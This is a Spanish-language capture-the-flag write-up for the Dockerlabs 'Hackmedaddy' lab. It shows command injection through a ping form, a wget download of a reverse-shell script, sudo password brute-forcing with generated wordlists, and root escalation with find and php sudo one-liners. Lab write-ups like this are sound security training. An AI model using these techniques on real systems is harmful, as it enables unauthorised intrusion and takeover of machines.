> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/hackmedaddy.md).
# Hackmedaddy
TAG -> Dockerlabs | CTF
Datos
* **Máquina** -> Hackmedaddy
* **Dificultad** -> Difícil
* **Creador** -> [d1se0](https://github.com/D1se0)
Como es costumbre, después de desplegar el laboratorio comenzamos verificando la conectividad con la máquina víctima mediante `ping`:
```bash
ping -c 1 172.17.02 -R
```
**Resultado**
```c
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.145 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.145/0.145/0.145/0.000 ms
```
La respuesta confirma que tenemos conexión con la máquina víctima. Además, el **TTL de 64** es habitual en sistemas **Linux**, aunque por sí solo no permite identificar el sistema operativo con certeza. Ahora crearemos nuestras carpetas de trabajo con `mkt` y accederemos a `recognition/nmap` para comenzar el reconocimiento:
```bash
nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
```
**Resultado -**** ****`targeted.txt`**
```ruby
# Nmap 7.95 scan initiated Thu May 29 22:13:12 2025 as: nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 05:48:9d:f6:29:e1:dd:c4:f6:18:87:ff:13:15:5a:80 (ECDSA)
|_ 256 0a:3d:0d:c3:fe:4e:57:8a:de:1f:5f:3c:8e:92:e9:5b (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-robots.txt: 3 disallowed entries
|_/FLAG.txt /joomla/* /secret/
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: HackMeDaddy - Hacking \xC3\x89tico
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 29 22:13:21 2025 -- 1 IP address (1 host up) scanned in 9.25 seconds
```
El escaneo identifica **2 puertos abiertos**: **22 (SSH)** y **80 (HTTP)**. Por ahora no tenemos indicios de una vulnerabilidad en **SSH**, así que nos centraremos en el puerto **80**. Además, `nmap` muestra un recurso `robots.txt` mediante `http-robots.txt`, donde aparecen tres rutas interesantes: `/FLAG.txt`, `/joomla/*` y `/secret/`. Vamos a visitar la web y comprobar qué información podemos obtener:
> Contenido de la pagina web -> `http://172.17.0.2/`
La página web presenta **3 fases importantes del hacking ético** y ofrece información sobre laboratorios simulados. En la primera sección encontramos una interfaz similar a una `cli`, con **2 botones**: uno ejecuta un comando predefinido que no podemos seleccionar y el otro limpia la salida. Al revisar el código fuente comprobamos que los comandos aparecen dinámicamente al pulsar los botones. Este es el fragmento de código relevante:
```js
const commands = [
{ command: 'ping -c 1 example.com', output: 'PING example.com (93.184.216.34) 56(84) bytes of data. 64 bytes from 93.184.216.34: icmp_seq=1 ttl=55 time=11.6 ms --- example.com ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 11.619/11.619/11.619/0.000 ms' },
{ command: 'whoami', output: 'root' },
{ command: 'ls -l', output: `total 24
drwxr-xr-x 2 root root 4096 Mar 3 10:00 bin
drwxr-xr-x 3 root root 4096 Mar 3 10:00 boot
drwxr-xr-x 5 root root 340 Mar 31 14:13 dev
drwxr-xr-x 1 root root 4096 Mar 31 14:13 etc
drwxr-xr-x 2 root root 4096 Mar 3 10:00 home
drwxr-xr-x 2 root root 4096 Mar 3 10:00 lib` },
{ command: 'cat README.txt', output: 'd05notfound exploit payload shell bruteforce vulnerability cipher zero-day phishing root port_scan firewall backdoor' },
{ command: 'nmap -sS example.com', output: 'Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-13 12:00 UTC Nmap scan report for example.com (93.184.216.34) Host is up (0.011s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 443/tcp open https' }
];
```
Encontramos **5 comandos** y uno nos llama especialmente la atención: `cat README.txt`. Su contenido menciona posibles directorios y archivos que podrían servir como pistas para continuar la enumeración. Guardaremos esas referencias en nuestro directorio de trabajo `content`, utilizando el nombre `README.txt`, y las organizaremos como una lista de rutas:
**Comando**
```bash
cat README.txt | tr ' ' '\n' | tee README.txt
```
Ahora revisaré las rutas y archivos que identificó `nmap` para comprobar si contienen información útil:
* `http://172.17.0.2/robots.txt`
```js
###### ##### ###### ##### ###### ##### ## ##
## ## ## ## ## ## ## ## # ## # ## ## ## ##
## ## ## ## ## ## ## ## ## # ##### ## ## #####
##### ## ## ##### ## ## ## ##### ## #### ##
## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ##
#### ## ##### ###### ##### #### ##### ## ### ## ## ###
User-agent: *
Disallow: /FLAG.txt
Disallow: /joomla/*
Disallow: /secret/
```
En este archivo aparecen **2 directorios y un archivo**, pero al intentar acceder a ellos obtenemos errores. Como siguiente paso, realizaremos **fuzzing** utilizando las rutas recopiladas en `README.txt` para intentar descubrir contenido accesible:
**Comando**
```bash
feroxbuster --url http://172.17.0.2/ -w README.txt
```
> También podemos utilizar `directory-list-2.3-medium.txt` como diccionario para descubrir recursos útiles, como `/flag.txt` e `/info.txt`, que proporcionan pistas para continuar el laboratorio.
**Salida**
Encontramos una ruta que responde correctamente: `http://172.17.0.2/d05notfound/d05notfound.php`. Al abrirla, encontramos la siguiente página web:
La página contiene **9 secciones**. La mayoría de sus botones no parecen funcionar y gran parte del contenido no aporta información útil para esta fase. Sin embargo, el último botón sí responde y permite hacer `ping` a una dirección IP que introduzcamos. Vamos a investigar esa funcionalidad:
Para verificar si el servidor realmente envía los paquetes ICMP, pondremos `tcpdump` en escucha sobre nuestra interfaz `docker0` de la siguiente manera:
**Comando**
```bash
tcpdump -i docker0 icmp -X
```
> Escribimos nuestra IP -> `172.17.0.1` y ejecutamos en el servidor.
**Salida**
Como podemos observar, `tcpdump` registra varias solicitudes de `ping` enviadas desde **172.17.0.2**, es decir, desde la máquina víctima. Esto confirma que el formulario utiliza la dirección IP introducida para realizar una operación de red. Ahora investigaremos si podemos aprovechar el campo utilizando un proxy de interceptación; en mi caso, **Caido**:
Una vez abierto **Caido** y creado el proyecto, nos dirigimos a **Scopes** y agregamos la dirección IP `172.17.0.2` para delimitar el objetivo del laboratorio. La configuración queda de la siguiente manera:
Después configuramos el proxy del navegador utilizando **FoxyProxy**. En mi caso, la dirección y el puerto son `127.0.0.1:8080`. Con el proxy activado, volvemos a **Caido**, abrimos **Intercept**, seleccionamos el **Scope** configurado y repetimos la petición de `ping` desde la página web:
La parte más interesante de la petición aparece al final: encontramos un campo llamado `comando`, que contiene la IP a la cual se realizará el `ping`. Si la aplicación incorpora este valor a un comando del sistema sin validarlo correctamente, podría existir una **inyección de comandos**. En **Linux**, podemos probar distintos operadores de shell, entre ellos `&&`, `;` y `|`. Con `&&`, el segundo comando se ejecuta solo si el primero termina correctamente; con `;`, se ejecuta el siguiente comando independientemente del resultado del anterior; y con `|`, la salida estándar del primero se conecta a la entrada estándar del segundo mediante una tubería. Aunque funcionan de manera diferente, estos operadores nos permiten comprobar si la entrada llega a interpretarse como parte de un comando. Antes de probarlos, levantaremos un servicio local:
**Comando**
```bash
php -S 0.0.0.0:80
```
Este comando inicia un servidor web local utilizando **PHP**. Después repetiremos el `ping` desde la página y añadiremos un comando `wget` al final de la IP, probando uno por uno los **3 operadores** anteriores. En mis pruebas, `&&` y `;` no dieron el resultado esperado, pero con `|` sí conseguimos observar una conexión hacia nuestro servidor:
**Resultado**
> Desde **Caido**, en el apartado **Response**, podemos revisar la respuesta de la aplicación después de enviar la petición.
> En nuestra **terminal** también podemos comprobar que la máquina víctima se conectó al servidor que levantamos.
Ahora prepararemos un archivo como el que se muestra a continuación y volveremos a levantar el servidor con **PHP**. El objetivo es que, cuando el servidor víctima ejecute este archivo, se establezca una **reverse shell** hacia nuestra máquina:
Desde el formulario que ejecuta `ping`, podemos concatenar el comando `wget` para descargar `test.sh` y guardarlo en el directorio `/tmp/` de la máquina víctima:
Al enviar la petición, observamos en la **Response** que el archivo `test.sh` se descargó y quedó guardado correctamente en `/tmp/`:
Antes de ejecutar `test.sh`, preparo un listener con `pwncat-cs` en el puerto **1234**:
```js
pwncat-cs :1234
```
Ahora si enviamos la siguiente petición:
Como resultado, recibimos una **reverse shell** procedente de la máquina víctima, cuya dirección IP es `172.17.0.2`.
Desde **pwncat-cs** utilizamos **Ctrl + D** para pasar a la shell de la sesión y comenzar la enumeración interna en busca de una posible escalada de privilegios. El comportamiento del atajo depende de la interfaz y de la sesión activa:
Comprobamos que estamos ejecutando comandos como **`www-data`** en la máquina `172.17.0.2`. También podemos utilizar **Ctrl + D** para regresar a la interfaz de **pwncat-cs** y ejecutar sus módulos, dependiendo del contexto de la sesión.
Durante la enumeración encontramos una nota que parece contener una pista importante:
> Recordatorio:
>
> Borra mis contraseñas de la agenda, no quiero volver a meter la pata con el jefe.
>
> Por e1i0t
La nota indica que la contraseña de **`e1i0t`** podría encontrarse en una agenda. Localizamos el archivo `agenda.txt` dentro del directorio `documents` y lo utilizaremos como posible diccionario. Para comprobar las contraseñas de este laboratorio, usaré uno de mis scripts de **Bash**, [force\_sudo](https://github.com/anonymous-17-03/force_sudo.git), que recibe un nombre de usuario y un archivo con una lista de contraseñas para realizar las pruebas:
```bash
./force_sudo.sh -u usuario -d diccionario.txt
```
Por tanto, transferiremos el script a la máquina víctima y utilizaremos `agenda.txt` como diccionario para comprobar las posibles credenciales de `e1i0t`.
Primero entramos en la **CLI de `pwncat-cs`** y utilizamos el módulo `upload` para transferir nuestro script a `/tmp/` en la máquina víctima. Después regresamos a la **Bash**, nos desplazamos a `/tmp/`, copiamos allí el archivo `agenda.txt` y ejecutamos el script con ese diccionario.
> Debemos recordar darle permisos de ejecución al script con `chmod`.
Como podemos comprobar en la imagen, el script encuentra la contraseña **`eliotelmejor`**. Con las credenciales de `e1i0t` ya identificadas, continuaremos investigando si es posible elevar nuestros privilegios o cambiar a otro usuario.
Al continuar la enumeración, tanto manualmente como con los módulos de `pwncat-cs`, descubrimos que **`e1i0t`** puede ejecutar `/bin/find` mediante `sudo`, sin contraseña, con la identidad del usuario **`an0n1mat0`**. Consultaremos `searchbins` para comprobar cómo aprovechar este permiso en el laboratorio:
```bash
searchbins -b find -f sudo
```
Lo modificaremos un poco y ejecutaremos:
```bash
sudo -u an0n1mat0 find . -exec /bin/bash \; -quit
```
**Resultado**
De esta forma conseguimos acceder como **`an0n1mat0`**. En el directorio `/home/` de este usuario encontramos una nota con el siguiente mensaje:
> El jefe me dijo que pronto te quitará los privilegios para poder acceder a tu carpeta secreta.
Dentro del `/home/` de este usuario no encontramos ninguna carpeta especialmente llamativa. Sin embargo, al revisar la raíz del sistema observamos un directorio sospechoso llamado `secret`, que merece la pena investigar:
En el directorio `secret` encontramos el archivo `confidencial.txt`, cuyo contenido es el siguiente:
> Hay un archivo super secreto que nadie más que el jefe debe leer, porque hay algunas contraseñas de usuario.
>
> Tienes que mover el archivo `passwords_users.txt` a un lugar más seguro.
Utilizaremos `find` para localizar el archivo `passwords_users.txt` mencionado en la nota:
```bash
find / -name passwords_users.txt 2>/dev/null
```
**Resultado**
```js
/usr/local/bin/passwords_users.txt
```
Una vez localizado, copiamos `passwords_users.txt` a `/tmp/` para examinarlo. Su contenido es el siguiente:
> **Contraseñas de usuario:**
>
> **e1i0t:** eliotelmejor **an0n1mat0:** XXyanonymous **root:** root
>
> Hay algunas contraseñas desactualizadas, pero no recuerdo la contraseña completa de **an0n1mat0**, solo sé que donde los dos...
Ahora disponemos de varias contraseñas y pistas. La de **`e1i0t`** ya la conocemos, pero al probar la contraseña de **`root`** que aparece en el archivo comprobamos que no es válida. Además, la propia nota advierte que algunas contraseñas están desactualizadas. En el caso de **`an0n1mat0`**, la cadena aparece incompleta y contiene **2 caracteres `XX`** que debemos averiguar. Utilizaremos la pista del documento para generar un diccionario con **`crunch`** y probar las combinaciones posibles:
```bash
crunch 12 12 abcdefghijklmnopqrstuvwxyz -o diccionario.txt -t @@yanonymous
```
**Resultado**
Transferimos el diccionario generado a `/tmp/` en la máquina víctima y volvemos a ejecutar `force_sudo.sh`, esta vez utilizando las combinaciones que acabamos de crear.
Después de recuperar la contraseña de **`an0n1mat0`**, podemos comprobar sus permisos de ejecución con `sudo -l`:
La salida confirma que **`an0n1mat0`** puede ejecutar `php` como **root** sin proporcionar contraseña mediante `sudo`. Para estudiar cómo aprovechar este permiso, consultaremos nuevamente `searchbins`:
```bash
searchbins -b php -f sudo
```
**Resultado**
Con la información obtenida, ejecutamos los siguientes comandos para comprobar si conseguimos una shell con los privilegios de **root**:
```bash
CMD="/bin/bash"
sudo php -r "system('$CMD');"
```
**Resultado**
Con este último paso conseguimos los máximos privilegios del sistema y completamos el laboratorio **Hackmedaddy**, tras pasar por la inyección de comandos en la web y la escalada entre los usuarios `www-data`, `e1i0t`, `an0n1mat0` y `root`.
